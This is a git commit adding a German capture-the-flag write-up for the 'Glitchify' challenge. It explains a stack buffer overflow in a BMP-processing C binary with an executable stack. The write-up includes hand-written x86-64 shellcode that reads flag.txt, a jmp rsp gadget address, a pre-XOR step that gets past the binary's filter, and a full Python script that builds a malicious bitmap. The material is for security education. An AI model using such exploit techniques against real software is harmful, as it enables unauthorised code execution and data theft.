Added writeups

This commit is contained in:
m0rph3us1987
2026-03-08 12:22:39 +01:00
parent a566ea77d1
commit a79656b647
43 changed files with 6940 additions and 0 deletions

302
de/glitchify.md Normal file
View File

@@ -0,0 +1,302 @@
# Glitchify
Glitchify ist ein "Glitch Art" SaaS, das einen Rauschfilter auf 24-Bit-BMP-Bilder anwendet. Während die Benutzeroberfläche vor Speicherlimits warnt (32x32 Pixel), enthält die zugrunde liegende C-Anwendung einen klassischen stackbasierten Buffer Overflow und einen ausführbaren Stack, was sie zu einem perfekten Ziel für einen benutzerdefinierten Shellcode-Exploit macht.
## Erste Analyse
Uns werden die folgenden Dateien zur Verfügung gestellt:
- `app.py`: Der Flask-Web-Wrapper.
- `glitcher`: Das kompilierte ELF64-Binary.
- `compose.yml` & `Dockerfile`: Die Container-Konfiguration.
- `good.bmp` & `bad.bmp`: Beispielbilder.
### 1. Identifizierung des Ziels
Durch Untersuchung des `Dockerfile` können wir genau sehen, wie der Server eingerichtet ist:
```dockerfile
WORKDIR /home/ctf
COPY glitcher .
COPY app.py .
COPY flag.txt .
```
Das Flag befindet sich unter `/home/ctf/flag.txt`. Unser Ziel ist es, diese Datei zu lesen.
### 2. Verständnis der Pipeline
Das `app.py`-Skript zeigt, dass der Server den `stdout` des Binarys abfängt und dem Benutzer anzeigt:
```python
result = subprocess.run(
['./glitcher', b64_data],
capture_output=True,
text=True,
timeout=2
)
output = result.stdout + result.stderr
```
Wenn wir einen Shellcode ausführen können, der `flag.txt` liest und in den `stdout` schreibt, erscheint das Flag direkt in der Weboberfläche.
## Binary Reconnaissance (Erkundung des Binarys)
Bevor wir in einen Dekompiler eintauchen, sammeln wir grundlegende Informationen über die Umgebung.
### 1. Dateieigenschaften
```bash
$ file glitcher
glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped
```
Das Binary ist **not stripped**, was bedeutet, dass wir während der Analyse Zugriff auf Funktionsnamen haben.
### 2. Sicherheitsmechanismen
```bash
$ readelf -h glitcher | grep Type
Type: EXEC (Executable file)
```
**PIE ist deaktiviert**. Das Binary wird an festen Adressen geladen, was unseren Exploit vereinfacht, da wir ASLR für das Binary selbst nicht umgehen müssen.
```bash
$ readelf -l glitcher | grep -A 1 GNU_STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
```
**NX ist deaktiviert** (`RWE`). Dies ist eine entscheidende Erkenntnis: **Der Stack ist ausführbar**. Wir können zu Code springen, den wir auf dem Stack platzieren, und diesen ausführen.
## Statische Analyse (Verfolgung des Ausführungsflusses)
Da wir nun wissen, dass die Umgebung nachsichtig ist, verfolgen wir, wie das Programm unsere Eingabe verarbeitet, indem wir der Logik in einem Dekompiler folgen.
### 1. Der Einstiegspunkt (`main`)
Das Programm beginnt damit, unser Base64-kodiertes Bild von der Befehlszeile entgegenzunehmen:
1. Es reserviert Speicher für die Rohdaten.
2. Es ruft `base64_decode` auf, um unsere Eingabe wieder in Binärdaten umzuwandeln.
3. Es übergibt diese dekodierten Daten an die Funktion `process_bmp`.
### 2. Validierung des Bildes (`process_bmp`)
Diese Funktion fungiert als Gatekeeper. Sie parst die BMP-Header, um sicherzustellen, dass die Datei gültig ist:
1. **Header-Check**: Sie überprüft die "BM"-Magic-Bytes.
2. **Format-Check**: Sie stellt sicher, dass das Bild 24-Bit ist (Standard-RGB).
3. **Größenberechnung**: Sie berechnet die Gesamtgröße der Pixeldaten: `width * height * 3`.
4. **Übergabe**: Schließlich ruft sie `apply_noise_filter` auf und übergibt einen Zeiger auf die Pixeldaten sowie die berechnete `data_size`.
### 3. Die Schwachstelle (`apply_noise_filter`)
Hier läuft es schief. Schauen wir uns die dekompilierte Logik an:
```c
void apply_noise_filter(char *src_data, int data_size) {
char process_buffer[3072]; // Feste Größe auf dem Stack
// ... Log-Initialisierung ...
// KRITISCH: Keine Prüfung, ob data_size > 3072!
memcpy(process_buffer, src_data, data_size);
// ... XOR-Schleife (Der "Glitch") ...
}
```
Der Programmierer ging davon aus, dass Benutzer sich an das in der Warnung erwähnte 32x32-Limit halten würden. Da `memcpy` die Größe des Zielpuffers nicht prüft, ermöglicht uns die Angabe einer größeren `width` oder `height` in unserem BMP-Header, über das Ende von `process_buffer` hinaus in den Stackframe der Funktion zu schreiben und die gespeicherte Rücksprungadresse (Return Address) zu überschreiben.
### 4. Der "Glitch"-Filter
Nach dem Überlauf, aber *bevor* die Funktion zurückkehrt, wendet das Binary einen XOR-Filter an:
```c
for (idx = 0; idx < data_size; idx++) {
process_buffer[idx] ^= (char)(idx % 256);
}
```
Diese Schleife wird unseren Shellcode und die Rücksprungadresse verändern (scramblen), bevor die Funktion zurückkehrt. Um sicherzustellen, dass unser Code gültig bleibt, wenn die Funktion schließlich ihre `ret`-Instruktion erreicht, müssen wir unseren gesamten Payload **vor-XORen** (pre-XOR).
## Exploitation-Strategie (Den Pfad finden)
Wir haben einen Buffer Overflow und einen ausführbaren Stack. Doch selbst bei deaktiviertem PIE kann die exakte Adresse des Stacks zwischen verschiedenen Umgebungen leicht variieren (aufgrund von Umgebungsvariablen usw.). Um unseren Exploit zuverlässig zu machen, brauchen wir einen Weg, die Ausführung auf den Stack umzuleiten, ohne eine Stack-Adresse fest zu kodieren.
### 1. Suche nach einem Gadget
Wir benötigen eine Instruktion, die bereits im Binary vorhanden ist und zum Stack-Pointer "springt". In x86_64 wird der Stack-Pointer im `rsp`-Register gespeichert. Wir suchen also nach einem Gadget wie:
- `jmp rsp`
- `call rsp`
- `push rsp; ret`
### 2. Jagd nach dem Gadget
Wir können `objdump` verwenden, um das gesamte Disassembly nach diesen spezifischen Befehlen zu durchsuchen. Suchen wir nach einem `jmp rsp`:
```bash
$ objdump -d glitcher -M intel | grep "jmp rsp"
4018d6: ff e4 jmp rsp
```
Wir haben einen Treffer gefunden! Es gibt eine `jmp rsp`-Instruktion an der Adresse **`0x4018d6`**.
### 3. Verifizierung
Da unser Binary nicht gestrippt ist, können wir prüfen, in welcher Funktion sich dieses Gadget befindet, um zu verstehen, warum es dort ist:
```bash
$ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8
00000000004018ce <get_pixels>:
4018ce: f3 0f 1e fa endbr64
4018d2: 55 push rbp
4018d3: 48 89 e5 mov rbp,rsp
4018d6: ff e4 jmp rsp
```
Es stellt sich heraus, dass das Gadget innerhalb einer Funktion namens `get_pixels` liegt. Diese Adresse (`0x4018d6`) ist perfekt, da sie fest ist und genau zu dem Speicherbereich springt, der unmittelbar auf unsere Rücksprungadresse auf dem Stack folgt dort, wo wir unseren Shellcode platzieren werden.
## Den Exploit Schritt für Schritt aufbauen
### Schritt 1: Erstellung des Shellcodes
Da wir eine Datei lesen und in den `stdout` ausgeben müssen, verwenden wir eine Sequenz aus `open` -> `read` -> `write`. Hier ist die Aufschlüsselung in Assembly:
```nasm
; --- "flag.txt" öffnen ---
push 0 ; Null-Terminator für String
mov rbx, 0x7478742e67616c66 ; "flag.txt" in Hex (Little-Endian)
push rbx ; String auf Stack pushen
mov rdi, rsp ; RDI = Zeiger auf "flag.txt"
xor esi, esi ; RSI = 0 (O_RDONLY)
push 2 ; RAX = 2 (sys_open)
pop rax
syscall ; open("flag.txt", 0)
; --- Dateiinhalt lesen ---
mov rdi, rax ; RDI = File Descriptor (von rax)
mov rsi, rsp ; RSI = Puffer (Stack-Platz wiederverwenden)
mov edx, 0x100 ; RDX = 256 Bytes zum Lesen
push 0 ; RAX = 0 (sys_read)
pop rax
syscall ; read(fd, rsp, 256)
; --- In stdout schreiben ---
mov rdx, rax ; RDX = gelesene Bytes (von rax)
push 1 ; RDI = 1 (stdout)
pop rdi
push 1 ; RAX = 1 (sys_write)
pop rax
syscall ; write(1, rsp, rdx)
; --- Sauber beenden ---
push 60 ; RAX = 60 (sys_exit)
pop rax
xor rdi, rdi ; RDI = 0
syscall ; exit(0)
```
### Schritt 2: Berechnung des Paddings
Der `process_buffer` ist 3072 Bytes groß. Um die Rücksprungadresse zu erreichen, müssen wir auch das gespeicherte RBP (8 Bytes) überschreiben.
- **Padding**: 3080 Bytes.
- **Rücksprungadresse**: `0x4018d6` (`jmp rsp`).
- **Payload**: `Padding` + `RetAddr` + `Shellcode`.
### Schritt 3: Umgehung des XOR-Filters
Wir führen ein Vor-XOR auf unseren Roh-Payload aus, so dass er, wenn der Server ihn "glitcht", tatsächlich wieder in unseren ursprünglichen Code "entschlüsselt" wird.
```python
scrambled = bytearray()
for i in range(len(raw_payload)):
scrambled.append(raw_payload[i] ^ (i % 256))
```
### Schritt 4: In ein BMP verpacken
Wir verpacken unseren gescrambelten Payload in eine Standard-24-Bit-BMP-Struktur.
```python
# Magic 'BM' + Header + Gescrambelte Daten
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
info_header = struct.pack('<IIIHHIIIIII', 40, width, 1, 1, 24, 0, 0, 0, 0, 0, 0)
final_file = bmp_header + info_header + scrambled
```
## Der finale Solver
```python
import struct
# Der spezifische bereitgestellte "jmp rsp" Gadget-Offset
GADGET_ADDR = 0x4018d6
def get_payload():
# 1. Shellcode: Öffnet flag.txt und gibt sie über stdout aus
# OPTIMIERT: Nutzt die Byte-Anzahl von read(), um write() zu begrenzen
shellcode = (
b"\x6a\x00\x48\xbb\x66\x6c\x61\x67\x2e\x74\x78\x74\x53" # push "flag.txt"
b"\x48\x89\xe7" # mov rdi, rsp (Dateiname-Zeiger)
b"\x31\xf6" # xor esi, esi (O_RDONLY)
b"\x6a\x02" # push 2 (sys_open)
b"\x58" # pop rax
b"\x0f\x05" # syscall (open)
b"\x48\x89\xc7" # mov rdi, rax (fd)
b"\x48\x89\xe6" # mov rsi, rsp (Stack als Puffer nutzen)
b"\xba\x00\x01\x00\x00" # mov edx, 256 (max. Anzahl)
b"\x6a\x00" # push 0 (sys_read)
b"\x58" # pop rax
b"\x0f\x05" # syscall (read)
# --- FIX BEGINNT HIER ---
# read() gibt die tatsächlich gelesene Byte-Anzahl in RAX zurück.
# Wir verschieben diesen Wert nach RDX, damit write() genau diese Anzahl druckt.
b"\x48\x89\xc2" # mov rdx, rax
# --- FIX ENDET HIER ---
b"\x6a\x01" # push 1 (stdout)
b"\x5f" # pop rdi
b"\x6a\x01" # push 1 (sys_write)
b"\x58" # pop rax
b"\x0f\x05" # syscall (write)
b"\x6a\x3c" # push 60 (sys_exit)
b"\x58" # pop rax
b"\x31\xff" # xor rdi, rdi (Status 0)
b"\x0f\x05" # syscall (exit)
)
# 2. Aufbau des Roh-Payload-Layouts
# Puffer (3072) + gespeichertes RBP (8) = 3080 Bytes Padding
padding = b"A" * 3080
ret_addr = struct.pack("<Q", GADGET_ADDR)
# Kombinierter Roh-Payload
raw_payload = padding + ret_addr + shellcode
# 3. Anwendung des XOR-Scrambling
# Das Binary führt aus: process_buffer[idx] ^= (unsigned char)(idx % 256);
# Wir XORen unseren Payload vor, damit der Server ihn wieder in gültigen Shellcode verwandelt.
scrambled_payload = bytearray()
for i in range(len(raw_payload)):
key = i % 256
scrambled_payload.append(raw_payload[i] ^ key)
return scrambled_payload
def generate_bmp(payload):
# BMP benötigt width * height * 3 Bytes an Daten.
# Payload anpassen, damit er durch 3 teilbar ist.
while len(payload) % 3 != 0:
idx = len(payload)
payload.append(0 ^ (idx % 256))
# Dimensionen berechnen: Höhe = 1, Breite = Länge / 3
height = 1
width = len(payload) // 3
# Header-Größe ist 54 Bytes
file_size = 54 + len(payload)
# Header konstruieren (Little Endian)
# Magic 'BM' + Dateigröße + Reserviert + Offset(54)
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
# Info-Header: Größe(40) + W + H + Planes(1) + BitCount(24) + Kompression(0)...
info_header = struct.pack('<IIIHHIIIIII', 40, width, height, 1, 24, 0, 0, 0, 0, 0, 0)
return bmp_header + info_header + payload
def main():
print(f"[*] Erzeuge Exploit für JMP RSP @ {hex(GADGET_ADDR)}...")
payload = get_payload()
bmp_file = generate_bmp(payload)
output_filename = "exploit.bmp"
with open(output_filename, "wb") as f:
f.write(bmp_file)
print(f"[+] Bösartige Bitmap gespeichert unter: {output_filename}")
print(f"[*] Gesamtgröße: {len(bmp_file)} Bytes")
if __name__ == "__main__":
main()
```
Lade `exploit.bmp` auf den Glitchify-Server hoch, und das Flag wird auf deinem Bildschirm erscheinen!
Stay glitchy!